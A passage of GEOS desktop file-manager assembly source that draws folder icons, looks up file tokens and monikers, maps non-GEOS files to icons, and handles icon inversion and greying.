TEXT_ICON_HEIGHT 56$: sub ax, ({VisMonikerGString} ds:[si].VM_data).VMGS_height ; minus actual icon height sar ax, 1 ; divided by two tst ax ; check width adjustment jge goodHeightAdjust ; positive adjustment clr ax ; else, no adjustment goodHeightAdjust: add ax, es:[di].FR_iconBounds.R_top ; adjust mov bx, ax ; bx = actual icon top mov ax, LARGE_ICON_WIDTH ; icon box width test displayMode, mask FIDM_LICON jnz 66$ mov ax, TEXT_ICON_HEIGHT 66$: sub ax, ds:[si].VM_width ; minus actual icon width sar ax, 1 ; divided by two tst ax ; check width adjustment jge goodWidthAdjust ; positive adjustment clr ax ; else, no adjustment goodWidthAdjust: add ax, es:[di].FR_iconBounds.R_left ; adjust ; ax = actual icon left mov di, gState add si, VM_data + VMGS_gstring ; ds:si = GString ; The following code was changed since the kernel no longer supports ; GrPlayString. I've pushed all the registers that get trashed, ; and this code could probably be optimized by someone who knows ; the code :-) jim 4/23/92 ; push bx ; save y position mov cl, GST_PTR mov bx, ds ; bx:si -> string call GrLoadGString pop bx clr dx call GrSaveState call GrDrawGString ; draw icon call GrRestoreState mov dl, GSKT_LEAVE_DATA call GrDestroyGString EC <notIconic: > pop ax ; ax <- shared/local ; token db flag call TokenUnlockTokenMoniker ; unlock ds block .leave ret DrawIconModeIconLow endp FolderCodeCheckIfCGA proc near cmp ss:[desktopDisplayType], CGA_DISPLAY_TYPE stc ; assume CGA je short done ; yes, CGA clc ; else, not CGA done: ret FolderCodeCheckIfCGA endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% FolderTokenLookupMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Sets up visual flags and calls TokenLookupMoniker. CALLED BY: INTERNAL - DrawIconModeIcon, FolderGetObjectIconToken PASS: es:di = pointer to folder record axbxsi = GeodeToken characters for lookup dl = DisplayMode dh = DisplayType RETURN: carry clear if token exists in database cx:dx - group/item of moniker ax - shared/local token DB file flag carry set otherwise DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 8/3/92 Pulled out of DrawIconModeIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ FolderTokenLookupMoniker proc near uses bp .enter mov bp, LARGE_ICON_SEARCH_FLAGS ; bp = VisMonikerSearchFlags test dl, mask FIDM_LICON ; large icon mode? jnz 10$ ; yes mov bp, SMALL_ICON_SEARCH_FLAGS 10$: ; ; keep to DS_STANDARD or smaller (i.e. convert DS_HUGE and DS_LARGE ; into DS_STANDARD) ; mov cl, dh andnf cl, mask DT_DISP_SIZE ; cl = DisplaySize .assert DS_STANDARD gt DS_TINY .assert DS_LARGE gt DS_STANDARD .assert DS_HUGE gt DS_LARGE cmp cl, DS_STANDARD shl offset DT_DISP_SIZE jbe 20$ andnf dh, not mask DT_DISP_SIZE ; clear current size ; set DS_STANDARD ornf dh, DS_STANDARD shl offset DT_DISP_SIZE 20$: call TokenLookupMoniker ; cx:dx = moniker ; ax <- shared/local ; token DB file flag .leave ret FolderTokenLookupMoniker endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InitFileHeaderToken %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: initialize token field in file header of file entry CALLED BY: INTERNAL DrawIconModeIcon PASS: es:di - file entry RETURN: token field initialized DESTROYED: nothing PSEUDO CODE/STRATEGY: The token is only needed if drawing in icon mode, so this doesn't need to be called until the file actually needs to be drawn. This saves much time. KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 12/20/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InitFileHeaderToken proc near test es:[di].FR_state, mask FRSF_HAVE_TOKEN ; already have token? jnz done ; yes ornf es:[di].FR_state, mask FRSF_HAVE_TOKEN ; set state flag tst es:[di].FR_token.GT_chars[0] ; any token? jnz done ; yes, use it push ax, bx, si ; save for exit test es:[di].FR_fileAttrs, mask FA_SUBDIR ; folder? jnz subdir ; if so, handle it cmp es:[di].FR_fileType, GFT_NOT_GEOS_FILE je nonGEOS ; no, check mappings ; ; GEOS file has no token, check if executable ; if so, use 'GAPP' - default token for GEOS appls ; cmp es:[di].FR_fileType, GFT_EXECUTABLE jne nonGEOSExec ; not exec, do default file GM < mov ax, ('g') or ('A' shl 8) ; store 'gAPP' > GM < mov bx, ('P') or ('P' shl 8) > ND < mov ax, ('n') or ('A' shl 8) ; store 'nAPP' > ND < mov bx, ('P') or ('P' shl 8) > jmp short storeToken subdir: if 0 GM < mov ax, ('F') or ('L' shl 8) ; store 'FLDR' > GM < mov bx, ('D') or ('R' shl 8) > ND < mov ax, ('n') or ('F' shl 8) ; store 'nFDR' > ND < mov bx, ('D') or ('R' shl 8) > else mov ax, ('n') or ('F' shl 8) ; store 'FLDR' mov bx, ('D') or ('R' shl 8) endif jmp short storeToken nonGEOSExec: GM < mov ax, ('g') or ('D' shl 8) ; store 'gDAT' > GM < mov bx, ('A') or ('T' shl 8) > ND < mov ax, ('n') or ('D' shl 8) ; store 'nDAT' > ND < mov bx, ('A') or ('T' shl 8) > jmp short storeToken nonGEOS: call CheckNonGEOSTokenMapping jnc gotToken ; found token (ax:bx:si) ; ; no token found for non-GEOS file, use default file token ; also fill in default file monikers ; GM < mov ax, ('F') or ('I' shl 8) ; default token 'FILE' > GM < mov bx, ('L') or ('E' shl 8) > ND < mov ax, ('n') or ('F' shl 8) ; default token 'nFIL' > ND < mov bx, ('I') or ('L' shl 8) > storeToken: mov si, MANUFACTURER_ID_GEOWORKS gotToken: mov {word}es:[di].FR_token.GT_chars[0], ax mov {word}es:[di].FR_token.GT_chars[2], bx mov es:[di].FR_token.GT_manufID, si pop ax, bx, si done: ret InitFileHeaderToken endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CheckNonGEOSTokenMapping %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: check if non-GEOS file has associated token in geos.ini file CALLED BY: INTERNAL InitFileHeaderToken PASS: es:di - file entry in folder buffer RETURN: carry clear if token found ax:bx:si - token carry set if no token DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 12/27/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CheckNonGEOSTokenMapping proc near uses cx, dx, ds, es, di, bp .enter CheckHack <(offset FR_name) eq 0> ;es:di <- ptr to name mov bx, ss:[filenameTokenMapBuffer] ; lock buffer tst bx stc ; in case no buffer jz done push bx call MemLock mov ds, ax ; ds:si = mappings clr si nextMapping: call GetNextMappingEntry ; mappingField1, mappingField2 jc noMore ; if no more, exit with C set ; ; compare this entry with filename we want to find token for ; push ds, si NOFXIP< segmov ds, dgroup, ax > FXIP < mov ax, bx > FXIP < GetResourceSegmentNS dgroup, ds, TRASH_BX > FXIP < mov bx, ax > mov si, offset dgroup:mappingField1 call CheckFilemaskLow ; check for match pop ds, si jne nextMapping ; ; found mapping, load up token values ; NOFXIP< segmov ds, dgroup, ax > FXIP < mov ax, bx > FXIP < GetResourceSegmentNS dgroup, ds, TRASH_BX > FXIP < mov bx, ax > mov si, offset dgroup:mappingField2 call GetTokenFromMapField ; ax:bx:si = token ; di now points to FR_name. Set bit in FR_state. ornf es:[di-offset FR_name].FR_state, mask FRSF_DOS_FILE_WITH_TOKEN push ax, bx, si mov si, cx SBCS < cmp {char}ds:[si-1], ',' > DBCS < cmp {wchar}ds:[si-2], ',' > jne foundToken call GetTokenFromMapField ; di now points to DFIS_name. Adjust it to point to the creator token ; and store away the individual pieces. GT_chars comes first, then ; GT_manufID. CheckHack <(size GT_chars eq 4) and \ (offset GT_chars eq 0) and \ (offset GT_manufID eq 4)> add di, offset FR_creator - offset FR_name ornf es:[di-offset FR_creator].FR_state, mask FRSF_DOS_FILE_WITH_CREATOR stosw mov_tr ax, bx stosw mov_tr ax, si stosw foundToken: pop ax, bx, si clc ; indicate found noMore: mov cx, ax ; save token chars mov dx, bx pop bx ; unlock mapping list call MemUnlock mov ax, cx ; retrieve token chars mov bx, dx done: .leave ret CheckNonGEOSTokenMapping endp if _WRITABLE_TOKEN_DATABASE COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CallApplToGetMoniker %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: call application to install its token and moniker list into token database CALLED BY: INTERNAL DrawIconModeIcon PASS: es:di - entry in folder buffer of application must be GEOS file *ds:si - FolderClass object RETURN: carry set if not possible: not an executable error loading application DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 12/19/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CallApplToGetMoniker proc near class FolderClass uses ax, bx, cx, dx, si, es, di, bp .enter cmp ss:[disableTokenLaunch], BB_TRUE ; are we avoiding this? LONG je nope ; yes ; did we attempt this already? test es:[di].FR_state, mask FRSF_CALLED_APPLICATION jnz nopeJNZ ; yes ; flag so we don't try again ornf es:[di].FR_state, mask FRSF_CALLED_APPLICATION EC < cmp es:[di].FR_fileType, GFT_NOT_GEOS_FILE ; GEOS file? > EC < ERROR_E NOT_GEOS_FILE > cmp es:[di].FR_fileType, GFT_EXECUTABLE nopeJNZ: LONG jne nope ; not executable, cannot launch ; We also can't launch (IACPConnect) ourself to install the token. ; Instead, we'll just send MSG_GEN_APPLICATION_INSTALL_TOKEN to ; our application object to install the token. ND < cmp {word}es:[di].FR_token.GT_chars[0], 'nD' > GM < cmp {word}es:[di].FR_token.GT_chars[0], 'DE' > jne launch ND < cmp {word}es:[di].FR_token.GT_chars[2], 'SK' > GM < cmp {word}es:[di].FR_token.GT_chars[2], 'SK' > jne launch cmp es:[di].FR_token.GT_manufID, MANUFACTURER_ID_GEOWORKS jne launch mov ax, MSG_GEN_APPLICATION_INSTALL_TOKEN call UserCallApplication clc jmp exit launch: ; ; 3...2...1...Launch! ; ; Before we get too far, turn off our ability to be transparently ; detached, so that we don't get tossed out as a result of starting ; up an app just to get its moniker -- Doug 4/16/93 ; mov cx, mask AS_AVOID_TRANSPARENT_DETACH clr dx mov ax, MSG_GEN_APPLICATION_SET_STATE call UserCallApplication mov ax, size AppLaunchBlock ; allocate AppLaunchBlock mov cx, (mask HAF_ZERO_INIT shl 8) or mask HF_SHARABLE or \ ALLOC_DYNAMIC_LOCK call MemAlloc LONG jc done ; memory error, no token ; (exit with C set) push ds push es, di, bx mov es, ax mov si, FOLDER_OBJECT_OFFSET ; common offset call Folder_GetDiskAndPath ; ax <- disk handle, ; ds:bx <- GenFilePath mov es:[ALB_appRef.AIR_diskHandle], ax lea si, ds:[bx].GFP_path mov di, offset ALB_appRef.AIR_fileName call CopyNullSlashString ; store path + final slash pop ds, si, bx pop ax ; ax <- folder object segment push ds, si, ax ; save FolderRecord again so ; we can get to its token. put ; folder object seg back on ; stack too add si, offset FR_name call CopyNullTermString ; tack on path and null-term mov es:[ALB_appMode], MSG_GEN_PROCESS_OPEN_ENGINE mov es:[ALB_launchFlags], 0 call MemUnlock ; unlock AppLaunchBlock mov dx, bx ; dx = AppLaunchBlock pop ds ; retrieve folder obj segment push ds:[LMBH_handle] call GetLoadAppGenParent ; fill in ALB_genParent field pop bx call MemDerefDS mov bx, dx ; bx <- ALB handle pop es, di ; es:di <- FolderRecord add di, offset FR_token mov ax, mask IACPCF_FIRST_ONLY or \ (IACPSM_NOT_USER_INTERACTIBLE shl offset IACPCF_SERVER_MODE) call IACPConnect jc done ; exit with carry set ; ; Successfully connected to the beast. Send its process a message ; to install its token. There's a bit of fun, here, as we need to ; block until the server has processed the request. We can't "call" the ; server, only send it a message, and it can send us one back. However, ; we're not supposed to return from this routine until we're certain ; the server has attempted to install its token. Through the magic of ; the IACP completion message, we can do all this. ; 1) allocate a queue ; 2) record a junk message to be send to this queue; this is the ; completion message we give to IACP ; 3) record a MSG_GEN_PROCESS_INSTALL_TOKEN to be sent to the server's ; process. ; 4) call IACPSendMessage to send the request. When it's done, the ; server (or IACP if the server has decided to vanish) will send ; the message recorded in #2 to our unattached event queue. ; 5) call QueueGetMessage to pluck the first message from the head ; of the queue. This will block until the server has done its thing. ; 6) nuke the queue and the junk message. ; 7) shutdown the IACP connection ; call GeodeAllocQueue mov di, mask MF_RECORD call ObjMessage mov cx, di ; cx <- completion msg push bx ; save queue handle for blocking & ; nuking mov ax, MSG_GEN_PROCESS_INSTALL_TOKEN clr bx, si mov di, mask MF_RECORD call ObjMessage ; record install-token message mov bx, di ; bx <- msg to send mov dx, TO_PROCESS ; dx <- send it to the server's process mov ax, IACPS_CLIENT ; ax <- we be the client call IACPSendMessage pop bx call QueueGetMessage ; wait for junk completion msg to ; arrive call GeodeFreeQueue ; nuke the queue (no further need) mov_tr bx, ax ; bx <- junk completion msg call ObjFreeMessage ; nuke it too clr cx, dx call IACPShutdown ; shutdown the client side of the ; connection. The server will exit ; if we're its only tie to life. done: clr cx mov dx, mask AS_AVOID_TRANSPARENT_DETACH mov ax, MSG_GEN_APPLICATION_SET_STATE call UserCallApplication clc jmp short exit nope: stc exit: .leave ret CallApplToGetMoniker endp endif COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ClearFolderObjectIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: clear folder icon CALLED BY: DrawFolderObjectIcon PASS: es:bp - file entry in folder buffer ds:si - folder instance data di - gState to draw with dh - display mode RETURN: DESTROYED: cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 12/11/89 broke out, added header, change for icon modes %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ClearFolderObjectIcon proc near uses ax, bx, si .enter call FolderSetBackgroundFillPattern test dh, mask FIDM_LICON or mask FIDM_SICON ; icon modes? jnz clearIcon ; yes ; ; text modes - wash out bounding box ; call RectFolderObjectIconBoundBox ; wash out icon area jmp clearDone ; ; icon modes - wash out icon area and name area ; clearIcon: call RectFolderObjectIconIconBox ; wash out icon area call RectFolderObjectIconNameBox ; wash out name area clearDone: mov ax, (CF_INDEX shl 8) or C_BLACK call GrSetAreaColor ; restore drawing color .leave ret ClearFolderObjectIcon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InvertFolderObjectIcon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: special file inversion that inverts icon and name portions separately CALLED BY: DrawFolderObjectIcon PASS: es:bp - file entry in folder buffer *ds:si - FolderClass object di - gState to draw with RETURN: DESTROYED: cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 12/7/89 Added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ InvertFolderObjectIcon proc near uses ax, bx, si .enter mov al, MM_INVERT ; set invert mode call GrSetMixMode call RectFolderObjectIcon ; draw it mov al, MM_COPY call GrSetMixMode ; restore mode .leave ret InvertFolderObjectIcon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% InvertColorIconFolderObject %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Invert w/o screwing up icon colors CALLED BY: DrawFolderObjectIcon PASS: es:bp - file entry in folder buffer *ds:si - FolderClass object di - gState to draw with RETURN: DESTROYED: cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 3/25/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- InvertColorIconFolderObject proc near uses ax, bx, si .enter test es:[bp].FR_state, mask FRSF_SELECTED jnz selected unselected:: ; ; unselected, clear icon and name, draw icon and name ; if _NEWDESK call CheckBWOrTextModes jnz 10$ endif call ClearFolderObjectIcon ; clear icon & name area 10$:: call DrawFolderObjectIconLow ; redraw icon & name jmp short done selected: ; ; selected, draw black rect and draw icon over it ; if _NEWDESK call CheckBWOrTextModes jnz 20$ endif call RectFolderObjectIcon ; draw black rect 20$:: call DrawFolderObjectIconLow ; draw icon over black rect ; ; invert name ; mov al, MM_INVERT ; set invert mode call GrSetMixMode call RectFolderObjectIconNameBox mov al, MM_COPY call GrSetMixMode ; restore mode ; ; invert icon ; if ICON_INVERT_MASK call MaskIcon endif done: .leave ret InvertColorIconFolderObject endp if ICON_INVERT_MASK ; Pass: es:bp = FolderRecord ; di = gstate ; *ds:si = Folder object MaskIcon proc far class FolderClass uses ds, si, di, es passedGState local word push di folderChunk local word push si memBlock local word gstringHandle local word gstringChunk local word .enter ; ; create gstring ; mov ax, LMEM_TYPE_GENERAL clr cx call MemAllocLMem ; bx = mem handle mov memBlock, bx mov cl, GST_CHUNK call GrCreateGString ; di = gstring, si = chunk mov gstringHandle, di mov gstringChunk, si mov si, folderChunk DerefFolderObject ds, si, bx mov dl, ds:[bx].FOI_displayType mov dh, ds:[bx].FOI_displayMode push bp mov bp, ss:[bp] call DrawIconModeIcon pop bp mov di, gstringHandle call GrEndGString ; ; go in change DRAW_BITMAP to FILL_BITMAP ; push ds, es segmov es, cs mov bx, memBlock call MemLock mov ds, ax mov si, gstringChunk mov si, ds:[si] checkOp: mov al, ds:[si] cmp al, GR_DRAW_BITMAP_CP jne checkSkipOps mov {byte}ds:[si], GR_FILL_BITMAP_CP clc jmp short fixedGString checkSkipOps: mov di, offset opCodeTable mov cx, length opCodeTable repne scasb stc ; in case error jne fixedGString sub di, offset opCodeTable clr ax mov al, cs:[opCodeSizeTable][di-1] add si, ax jmp short checkOp fixedGString: call MemUnlock ; (preserves flags) pop ds, es jc freeGString ; unexpected gstring ; ; draw it with 50% inverse of background color ; mov di, passedGState call GrSaveState mov si, WIT_COLOR call WinGetInfo test ah, mask WCF_RGB mov ah, CF_INDEX ; assume color index jz haveIndex mov ah, CF_RGB xor bl, 11111111b ; invert G value xor bh, 11111111b ; invert B value xor al, 11110000b ; invert part of R value haveIndex: xor al, 00001111b ; invert color index or other ; part of R value call GrSetAreaColor mov ax, SDM_50 call GrSetAreaMask mov si, gstringHandle clr ax, bx, dx ; don't care: coord is in gstring call GrDrawGString call GrRestoreState ; ; free gstring, etc ; freeGString: mov di, passedGState mov si, gstringHandle mov dl, GSKT_KILL_DATA call GrDestroyGString mov bx, memBlock call MemFree .leave ret MaskIcon endp opCodeTable byte GR_SAVE_STATE, GR_MOVE_TO, GR_SAVE_TRANSFORM, GR_APPLY_TRANSLATION, GR_INIT_DEFAULT_TRANSFORM opCodeSizeTable byte size OpSaveState, size OpMoveTo, size OpSaveTransform, size OpApplyTranslation, size OpInitDefaultTransform endif ; ICON_INVERT_MASK endif ;--------------------------------------------------------------------- GreyFolderObjectIcon proc near class FolderClass uses ax, bx .enter DerefFolderObject ds, si, bx test es:[bp].FR_state, mask FRSF_SELECTED ; selected? jz dontUnInvert ; no, file not inverted test ds:[bx].FOI_folderState, mask FOS_TARGET ; target? jz dontUnInvert ; no, file not inverted if ICON_INVERT_PRESERVES_COLOR ;--------------------------------------------- andnf es:[bp].FR_state, not mask FRSF_SELECTED ; fake unselected call InvertPreserveColor ; else uninvert file, first ornf es:[bp].FR_state, mask FRSF_SELECTED ; restore selected else ;--------------------------------------------------------------------- call InvertFolderObjectIcon ; else uninvert file, first endif ;--------------------------------------------------------------------- dontUnInvert: mov al, SDM_50 ; set grey mode call GrSetAreaMask call RectFolderObjectIcon ; draw it mov al, SDM_100 ; restore mode call GrSetAreaMask .leave ret GreyFolderObjectIcon endp RectFolderObjectIcon proc near class FolderClass uses bx .enter DerefFolderObject ds, si, bx test ds:[bx].FOI_displayMode, mask FIDM_LICON or \ mask FIDM_SICON ; icon modes? jz regularDraw ; if not, use regular draw ; ; draw for icon modes - draw icon and name separately ; call RectFolderObjectIconIconBox call RectFolderObjectIconNameBox jmp short drawDone ; ; draw for text modes - draw bounding box ; regularDraw: call RectFolderObjectIconBoundBox drawDone: .leave ret RectFolderObjectIcon endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RectFolderObjectIconIconBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Fill a rectangle around the folder object CALLED BY: PASS: es:bp - FolderRecord RETURN: nothing DESTROYED: ax,bx,cx,dx PSEUDO CODE/STRATEGY: For NewDesk - draw KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/24/92 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RectFolderObjectIconIconBox proc near call LoadIconBounds call GrFillRect ; draw icon ret RectFolderObjectIconIconBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadIconBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the bounds of the icon part of the FolderRecord CALLED BY: UTILITY PASS: es:[bp] - FolderRecord RETURN: ax, bx, cx, dx, - icon bounds DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/13/92 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadIconBounds proc near mov ax, es:[bp].FR_iconBounds.R_left mov bx, es:[bp].FR_iconBounds.R_top mov cx, es:[bp].FR_iconBounds.R_right mov dx, es:[bp].FR_iconBounds.R_bottom ret LoadIconBounds endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% RectFolderObjectIconNameBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Wash out the area of the icon name CALLED BY: DrawFolderObjectName, etc. PASS: es:bp - FolderRecord RETURN: ax, bx - upper left-hand corner of name box DESTROYED: cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 3/17/93 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ RectFolderObjectIconNameBox proc near call LoadNameBounds call GrFillRect ; draw name ret RectFolderObjectIconNameBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadNameBounds %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: return the bounds of the "name" part of the FolderRecord CALLED BY: PASS: es:[bp] - FolderRecord RETURN: ax, bx, cx, dx - bounds DESTROYED: nothing -- flags preserved PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/13/92 added header %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadNameBounds proc near mov ax, es:[bp].FR_nameBounds.R_left mov bx, es:[bp].FR_nameBounds.R_top mov cx, es:[bp].FR_nameBounds.R_right mov dx, es:[bp].FR_nameBounds.R_bottom ret LoadNameBounds endp RectFolderObjectIconBoundBox proc near call LoadBoundBox call GrFillRect ret RectFolderObjectIconBoundBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LoadBoundBox %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Return the bounding box of the current FolderRecord CALLED BY: UTILITY PASS: es:bp - FolderRecord RETURN: ax, bx, cx, dx- bounds of FolderRecord DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- cdb 7/13/92 added header. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ LoadBoundBox proc near mov ax, es:[bp].FR_boundBox.R_left mov bx, es:[bp].FR_boundBox.R_top mov cx, es:[bp].FR_boundBox.R_right mov dx, es:[bp].FR_boundBox.R_bottom ret LoadBoundBox endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DrawFullFileDetail %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: display long version of file, includes file name, size, modification date and time CALLED BY: INTERNAL DrawFolderObjectIcon PASS: *ds:si - FolderClass object es:bp - file to draw di - gState to draw with RETURN: preserves ds, si, es, bp, di DESTROYED: ax, bx, cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: none REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 8/14/89 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DrawFullFileDetail proc near if _ZMGR and SEPARATE_NAMES_AND_DETAILS class FolderClass endif uses ds, si .enter ; ; Need to do token processing to handle creator token -- ardeb 6/14/91 ; xchg di, bp ; es:di <- entry call InitFileHeaderToken xchg di, bp ; ; get name position and draw ; segxchg ds, es ; ds = FolderRecord ; es = FolderInstance push di ; save gstate mov di, bp ; ds:di = FolderRecord call FolderRecordGetNameWidth pop di ; restore gstate segxchg ds, es ; es = FolderRecord ; ds = FolderInstance call DrawFolderObjectName ; ; print file size ; test es:[bp].FR_fileAttrs, mask FA_SUBDIR jnz date ; skip size if a subdir. if _ZMGR and SEPARATE_NAMES_AND_DETAILS ; ; for ZMGR, either doing Names and Dates or Names and Sizes ; push di DerefFolderObject ds, si, di test ds:[di].FOI_displayMode, mask FIDM_FULL_DATES pop di jnz date ; Names and Dates, skip size endif mov dx, es:[bp].FR_size.low mov ax, es:[bp].FR_size.high call PrintFileSize ; ; print file modification date ; date: if _ZMGR and SEPARATE_NAMES_AND_DETAILS ; ; for ZMGR, either doing Names and Dates or Names and Sizes ; push di DerefFolderObject ds, si, di test ds:[di].FOI_displayMode, mask FIDM_FULL_DATES pop di jz done ; Names and Sizes, all done endif push bx mov ax, ss:[fullFileDatePos] ; bx unchanged if _ZMGR and SEPARATE_NAMES_AND_DETAILS ; ; slide back to the left over space made for absent size field ; mov ax, ss:[widest83FilenameWidth] ; match code in SetUpFontAndGState add ax, 2 + \ TEXT_ICON_WIDTH + TEXT_ICON_HORIZ_SPACING + \ LONG_TEXT_HORIZ_SPACING + \ LONG_TEXT_HORIZ_SPACING*2 endif call GrMoveTo sub sp, EVEN_DATE_TIME_BUFFER_SIZE mov si, sp push es, ds, di mov ax, es:[bp].FR_modified.FDAT_time ; ax <- FileTime mov bx, 